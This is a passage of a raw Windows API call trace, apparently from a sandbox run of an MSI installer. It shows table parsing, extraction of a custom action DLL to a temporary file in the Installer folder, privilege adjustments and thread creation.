_Dst=0x37b02ac, _Src=0x5c300a2, _Size=0x2 | out: _Dst=0x37b02ac) returned 0x37b02ac [0129.153] memcpy (in: _Dst=0x37b02c4, _Src=0x5c300a4, _Size=0x2 | out: _Dst=0x37b02c4) returned 0x37b02c4 [0129.153] memcpy (in: _Dst=0x37b02dc, _Src=0x5c300a6, _Size=0x2 | out: _Dst=0x37b02dc) returned 0x37b02dc [0129.153] memcpy (in: _Dst=0x37b02f4, _Src=0x5c300a8, _Size=0x2 | out: _Dst=0x37b02f4) returned 0x37b02f4 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300aa, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300ac, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300ae, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300b0, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300b2, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300b4, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300b6, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300b8, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300ba, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300bc, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300be, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300c0, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300c2, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300c4, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x10ce138, _Src=0x5c300c6, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.153] memcpy (in: _Dst=0x37b01ac, _Src=0x5c300c8, _Size=0x2 | out: _Dst=0x37b01ac) returned 0x37b01ac [0129.153] memcpy (in: _Dst=0x37b01c4, _Src=0x5c300ca, _Size=0x2 | out: _Dst=0x37b01c4) returned 0x37b01c4 [0129.153] memcpy (in: _Dst=0x37b01dc, _Src=0x5c300cc, _Size=0x2 | out: _Dst=0x37b01dc) returned 0x37b01dc [0129.153] memcpy (in: _Dst=0x37b01f4, _Src=0x5c300ce, _Size=0x2 | out: _Dst=0x37b01f4) returned 0x37b01f4 [0129.153] memcpy (in: _Dst=0x37b020c, _Src=0x5c300d0, _Size=0x2 | out: _Dst=0x37b020c) returned 0x37b020c [0129.153] memcpy (in: _Dst=0x37b0224, _Src=0x5c300d2, _Size=0x2 | out: _Dst=0x37b0224) returned 0x37b0224 [0129.153] memcpy (in: _Dst=0x37b023c, _Src=0x5c300d4, _Size=0x2 | out: _Dst=0x37b023c) returned 0x37b023c [0129.153] memcpy (in: _Dst=0x37b0254, _Src=0x5c300d6, _Size=0x2 | out: _Dst=0x37b0254) returned 0x37b0254 [0129.153] memcpy (in: _Dst=0x37b026c, _Src=0x5c300d8, _Size=0x2 | out: _Dst=0x37b026c) returned 0x37b026c [0129.153] memcpy (in: _Dst=0x37b0284, _Src=0x5c300da, _Size=0x2 | out: _Dst=0x37b0284) returned 0x37b0284 [0129.154] memcpy (in: _Dst=0x37b029c, _Src=0x5c300dc, _Size=0x2 | out: _Dst=0x37b029c) returned 0x37b029c [0129.154] memcpy (in: _Dst=0x37b02b4, _Src=0x5c300de, _Size=0x2 | out: _Dst=0x37b02b4) returned 0x37b02b4 [0129.154] memcpy (in: _Dst=0x37b02cc, _Src=0x5c300e0, _Size=0x2 | out: _Dst=0x37b02cc) returned 0x37b02cc [0129.154] memcpy (in: _Dst=0x37b02e4, _Src=0x5c300e2, _Size=0x2 | out: _Dst=0x37b02e4) returned 0x37b02e4 [0129.154] memcpy (in: _Dst=0x37b02fc, _Src=0x5c300e4, _Size=0x2 | out: _Dst=0x37b02fc) returned 0x37b02fc [0129.154] memcpy (in: _Dst=0x37b01b0, _Src=0x5c300e6, _Size=0x2 | out: _Dst=0x37b01b0) returned 0x37b01b0 [0129.154] memcpy (in: _Dst=0x37b01c8, _Src=0x5c300e8, _Size=0x2 | out: _Dst=0x37b01c8) returned 0x37b01c8 [0129.154] memcpy (in: _Dst=0x37b01e0, _Src=0x5c300ea, _Size=0x2 | out: _Dst=0x37b01e0) returned 0x37b01e0 [0129.154] memcpy (in: _Dst=0x37b01f8, _Src=0x5c300ec, _Size=0x2 | out: _Dst=0x37b01f8) returned 0x37b01f8 [0129.154] memcpy (in: _Dst=0x37b0210, _Src=0x5c300ee, _Size=0x2 | out: _Dst=0x37b0210) returned 0x37b0210 [0129.154] memcpy (in: _Dst=0x37b0228, _Src=0x5c300f0, _Size=0x2 | out: _Dst=0x37b0228) returned 0x37b0228 [0129.154] memcpy (in: _Dst=0x37b0240, _Src=0x5c300f2, _Size=0x2 | out: _Dst=0x37b0240) returned 0x37b0240 [0129.154] memcpy (in: _Dst=0x37b0258, _Src=0x5c300f4, _Size=0x2 | out: _Dst=0x37b0258) returned 0x37b0258 [0129.154] memcpy (in: _Dst=0x37b0270, _Src=0x5c300f6, _Size=0x2 | out: _Dst=0x37b0270) returned 0x37b0270 [0129.154] memcpy (in: _Dst=0x37b0288, _Src=0x5c300f8, _Size=0x2 | out: _Dst=0x37b0288) returned 0x37b0288 [0129.154] memcpy (in: _Dst=0x37b02a0, _Src=0x5c300fa, _Size=0x2 | out: _Dst=0x37b02a0) returned 0x37b02a0 [0129.154] memcpy (in: _Dst=0x37b02b8, _Src=0x5c300fc, _Size=0x2 | out: _Dst=0x37b02b8) returned 0x37b02b8 [0129.154] memcpy (in: _Dst=0x37b02d0, _Src=0x5c300fe, _Size=0x2 | out: _Dst=0x37b02d0) returned 0x37b02d0 [0129.154] memcpy (in: _Dst=0x37b02e8, _Src=0x5c30100, _Size=0x2 | out: _Dst=0x37b02e8) returned 0x37b02e8 [0129.154] memcpy (in: _Dst=0x37b0300, _Src=0x5c30102, _Size=0x2 | out: _Dst=0x37b0300) returned 0x37b0300 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c30104, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c30108, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c3010c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c30110, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c30114, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c30118, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c3011c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c30120, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c30124, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c30128, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c3012c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c30130, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c30134, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c30138, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] memcpy (in: _Dst=0x10ce138, _Src=0x5c3013c, _Size=0x4 | out: _Dst=0x10ce138) returned 0x10ce138 [0129.154] IUnknown:Release (This=0x32ef70) returned 0x0 [0129.154] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.154] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0129.154] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0129.155] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.155] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.155] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0129.155] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0129.155] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.155] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.155] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.155] lstrlenW (lpString="Action") returned 6 [0129.155] lstrlenW (lpString="=") returned 1 [0129.155] lstrlenW (lpString="bz.LateInstallPrepare") returned 21 [0129.155] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.155] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0129.155] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0129.155] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0129.155] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0129.155] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0129.155] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.155] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.155] lstrlenW (lpString="Action") returned 6 [0129.155] lstrlenW (lpString="Type") returned 4 [0129.155] lstrlenW (lpString="Source") returned 6 [0129.155] lstrlenW (lpString="Target") returned 6 [0129.155] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0129.155] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0129.155] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0129.156] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0129.156] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0129.156] lstrlenW (lpString="NULL") returned 4 [0129.156] lstrlenW (lpString="ExtendedType") returned 12 [0129.156] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.156] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.156] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.156] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.156] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.156] GlobalUnlock (hMem=0xf40228) returned 0 [0129.156] GlobalUnlock (hMem=0xf40208) returned 0 [0129.156] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0129.156] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10ce478, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10ce468 | out: pSid=0x10ce468*=0x377090*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0129.156] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x377090*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x10ce460 | out: IsMember=0x10ce460) returned 1 [0129.156] _vsnwprintf (in: _Buffer=0x10ce540, _BufferCount=0xff, _Format="SELECT `Data` FROM `Binary` WHERE `Name`='%s'", _ArgList=0x10ce4b8 | out: _Buffer="SELECT `Data` FROM `Binary` WHERE `Name`='bz.CustomActionDll'") returned 61 [0129.156] GlobalLock (hMem=0xf40208) returned 0x3cc0f0 [0129.156] lstrlenW (lpString="SELECT `Data` FROM `Binary` WHERE `Name`='bz.CustomActionDll'") returned 61 [0129.157] lstrlenW (lpString="SELECT `Data` FROM `Binary` WHERE `Name`='bz.CustomActionDll'") returned 61 [0129.157] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.157] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.157] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.157] lstrlenW (lpString="Binary") returned 6 [0129.157] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䌋䄱䜵", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce100, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0129.157] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce060, grfStatFlag=0x1 | out: pstatstg=0x10ce060) returned 0x0 [0129.157] GlobalLock (hMem=0xf40228) returned 0x3c2880 [0129.157] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x5c3008c, cb=0x400, pcbRead=0x5c3048c | out: pv=0x5c3008c*=0xa8, pcbRead=0x5c3048c*=0x8) returned 0x0 [0129.157] memcpy (in: _Dst=0x3c2884, _Src=0x5c3008c, _Size=0x2 | out: _Dst=0x3c2884) returned 0x3c2884 [0129.157] memcpy (in: _Dst=0x3c2890, _Src=0x5c3008e, _Size=0x2 | out: _Dst=0x3c2890) returned 0x3c2890 [0129.157] memcpy (in: _Dst=0x10ce1d8, _Src=0x5c30090, _Size=0x2 | out: _Dst=0x10ce1d8) returned 0x10ce1d8 [0129.157] memcpy (in: _Dst=0x10ce1d8, _Src=0x5c30092, _Size=0x2 | out: _Dst=0x10ce1d8) returned 0x10ce1d8 [0129.157] IUnknown:Release (This=0x32e790) returned 0x0 [0129.157] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.157] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0129.157] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0129.157] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.157] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.158] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0129.158] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0129.158] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.158] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.158] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.158] lstrlenW (lpString="Name") returned 4 [0129.158] lstrlenW (lpString="=") returned 1 [0129.158] lstrlenW (lpString="bz.CustomActionDll") returned 18 [0129.158] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.158] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.158] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.158] lstrlenW (lpString="Data") returned 4 [0129.158] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.158] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.158] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.158] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.158] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.158] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䌋䄱䜵䅾䞽䘌䗶䐲䆊䌷䑲䏍䠯", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce2b0, ppstm=0x380190 | out: ppstm=0x380190*=0x7fef7acfc30) returned 0x0 [0129.159] IStream:Stat (in: This=0x32ef70, pstatstg=0x10ce210, grfStatFlag=0x1 | out: pstatstg=0x10ce210) returned 0x0 [0129.159] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0129.181] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10ce478, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10ce468 | out: pSid=0x10ce468*=0x3770b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0129.181] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x3770b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x10ce460 | out: IsMember=0x10ce460) returned 1 [0129.181] GetEnvironmentVariableW (in: lpName="MsiBreak", lpBuffer=0x10ce230, nSize=0x105 | out: lpBuffer="") returned 0x0 [0129.181] lstrlenW (lpString="bz.LateInstallPrepare") returned 21 [0129.181] GetCurrentThreadId () returned 0xf50 [0129.181] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0129.181] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cdee0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0129.181] lstrlenW (lpString="C:\\Windows") returned 10 [0129.181] lstrlenW (lpString="\\") returned 1 [0129.181] lstrlenW (lpString="Installer") returned 9 [0129.181] GetTempFileNameW (in: lpPathName="C:\\Windows\\Installer", lpPrefixString="MSI", uUnique=0x0, lpTempFileName=0x334cd0 | out: lpTempFileName="C:\\Windows\\Installer\\MSI8ECF.tmp" (normalized: "c:\\windows\\installer\\msi8ecf.tmp")) returned 0x8ecf [0129.183] GetCurrentThread () returned 0xfffffffffffffffe [0129.183] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10ce2a0 | out: TokenHandle=0x10ce2a0*=0x8ecf) returned 0 [0129.183] GetLastError () returned 0x3f0 [0129.183] GetCurrentProcess () returned 0xffffffffffffffff [0129.183] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10ce2a0 | out: TokenHandle=0x10ce2a0*=0x348) returned 1 [0129.183] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x10ce2ac | out: lpLuid=0x10ce2ac*(LowPart=0x12, HighPart=0)) returned 1 [0129.184] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeTakeOwnershipPrivilege", lpLuid=0x10ce2b8 | out: lpLuid=0x10ce2b8*(LowPart=0x9, HighPart=0)) returned 1 [0129.185] AdjustTokenPrivileges (in: TokenHandle=0x348, DisableAllPrivileges=0, NewState=0x10ce2a8*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x0))), BufferLength=0x30, PreviousState=0x7fef7b237fc, ReturnLength=0x7fef7b2382c | out: PreviousState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), ReturnLength=0x7fef7b2382c) returned 1 [0129.185] CloseHandle (hObject=0x348) returned 1 [0129.185] GetLastError () returned 0x0 [0129.185] SetFileSecurityW (lpFileName="C:\\Windows\\Installer\\MSI8ECF.tmp", SecurityInformation=0x1, pSecurityDescriptor=0x7fef7b24890) returned 1 [0129.185] SetFileSecurityW (lpFileName="C:\\Windows\\Installer\\MSI8ECF.tmp", SecurityInformation=0x4, pSecurityDescriptor=0x7fef7b24890) returned 1 [0129.185] GetCurrentThread () returned 0xfffffffffffffffe [0129.185] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10ce2a0 | out: TokenHandle=0x10ce2a0*=0x7) returned 0 [0129.185] GetLastError () returned 0x3f0 [0129.185] GetCurrentProcess () returned 0xffffffffffffffff [0129.185] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10ce2a0 | out: TokenHandle=0x10ce2a0*=0x348) returned 1 [0129.186] AdjustTokenPrivileges (in: TokenHandle=0x348, DisableAllPrivileges=0, NewState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x1c, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0129.186] CloseHandle (hObject=0x348) returned 1 [0129.186] GetLastError () returned 0x0 [0129.186] CreateFileW (lpFileName="C:\\Windows\\Installer\\MSI8ECF.tmp" (normalized: "c:\\windows\\installer\\msi8ecf.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x348 [0129.186] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.186] SetFilePointer (in: hFile=0x348, lDistanceToMove=212992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34000 [0129.186] SetEndOfFile (hFile=0x348) returned 1 [0130.577] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.578] ISequentialStream:RemoteRead (in: This=0x32ef70, pv=0x3a30010, cb=0x10000, pcbRead=0x10ce3d0 | out: pv=0x3a30010*=0x4d, pcbRead=0x10ce3d0*=0x10000) returned 0x0 [0130.582] WriteFile (in: hFile=0x348, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10ce420, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10ce420*=0x10000, lpOverlapped=0x0) returned 1 [0130.585] ISequentialStream:RemoteRead (in: This=0x32ef70, pv=0x3a30010, cb=0x10000, pcbRead=0x10ce3d0 | out: pv=0x3a30010*=0x36, pcbRead=0x10ce3d0*=0x10000) returned 0x0 [0130.585] WriteFile (in: hFile=0x348, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10ce420, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10ce420*=0x10000, lpOverlapped=0x0) returned 1 [0130.587] ISequentialStream:RemoteRead (in: This=0x32ef70, pv=0x3a30010, cb=0x10000, pcbRead=0x10ce3d0 | out: pv=0x3a30010*=0x1, pcbRead=0x10ce3d0*=0x10000) returned 0x0 [0130.587] WriteFile (in: hFile=0x348, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10ce420, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10ce420*=0x10000, lpOverlapped=0x0) returned 1 [0130.589] ISequentialStream:RemoteRead (in: This=0x32ef70, pv=0x3a30010, cb=0x10000, pcbRead=0x10ce3d0 | out: pv=0x3a30010*=0x28, pcbRead=0x10ce3d0*=0x4000) returned 0x0 [0130.589] WriteFile (in: hFile=0x348, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x10ce420, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10ce420*=0x4000, lpOverlapped=0x0) returned 1 [0130.589] CloseHandle (hObject=0x348) returned 1 [0130.594] lstrlenW (lpString="C:\\Windows\\Installer\\MSI8ECF.tmp") returned 32 [0130.595] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0130.595] IUnknown:Release (This=0x32ef70) returned 0x0 [0130.596] GlobalUnlock (hMem=0xf40208) returned 0 [0130.596] GlobalUnlock (hMem=0xf40228) returned 0 [0130.596] GetCurrentThreadId () returned 0xf50 [0130.596] GetCurrentThreadId () returned 0xf50 [0130.596] GetCurrentThreadId () returned 0xf50 [0130.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0xa000, lpStartAddress=0x7fef79282e0, lpParameter=0x3bec10, dwCreationFlags=0x0, lpThreadId=0x3bec30 | out: lpThreadId=0x3bec30*=0xd08) returned 0x348 [0130.599] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x10ce4a8*=0x348, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x0 [0149.480] GetExitCodeThread (in: hThread=0x348, lpExitCode=0x10ce4a0 | out: lpExitCode=0x10ce4a0) returned 1 [0149.480] CloseHandle (hObject=0x348) returned 1 [0149.481] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x281)) [0149.481] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.482] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x281)) [0149.482] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.482] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x281)) [0149.482] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.482] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.482] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.482] memcpy (in: _Dst=0x29f80da, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.482] memcpy (in: _Dst=0x29f80de, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.483] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.485] lstrcmpiW (lpString1="", lpString2="ALL") returned -1 [0149.485] lstrcmpW (lpString1="Advertise", lpString2="bz.LateInstallSetPropertyForDeferred1") returned -1 [0149.485] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="bz.LateInstallSetPropertyForDeferred1") returned -1 [0149.485] lstrcmpW (lpString1="AppSearch", lpString2="bz.LateInstallSetPropertyForDeferred1") returned -1 [0149.485] lstrcmpW (lpString1="BindImage", lpString2="bz.LateInstallSetPropertyForDeferred1") returned -1 [0149.485] lstrcmpW (lpString1="CCPSearch", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.485] lstrcmpW (lpString1="CostFinalize", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.485] lstrcmpW (lpString1="CostInitialize", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.485] lstrcmpW (lpString1="CreateFolders", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.485] lstrcmpW (lpString1="CreateShortcuts", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.485] lstrcmpW (lpString1="DeleteServices", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.485] lstrcmpW (lpString1="DuplicateFiles", lpString2="bz.LateInstallSetPropertyForDeferred1") returned 1 [0149.485] 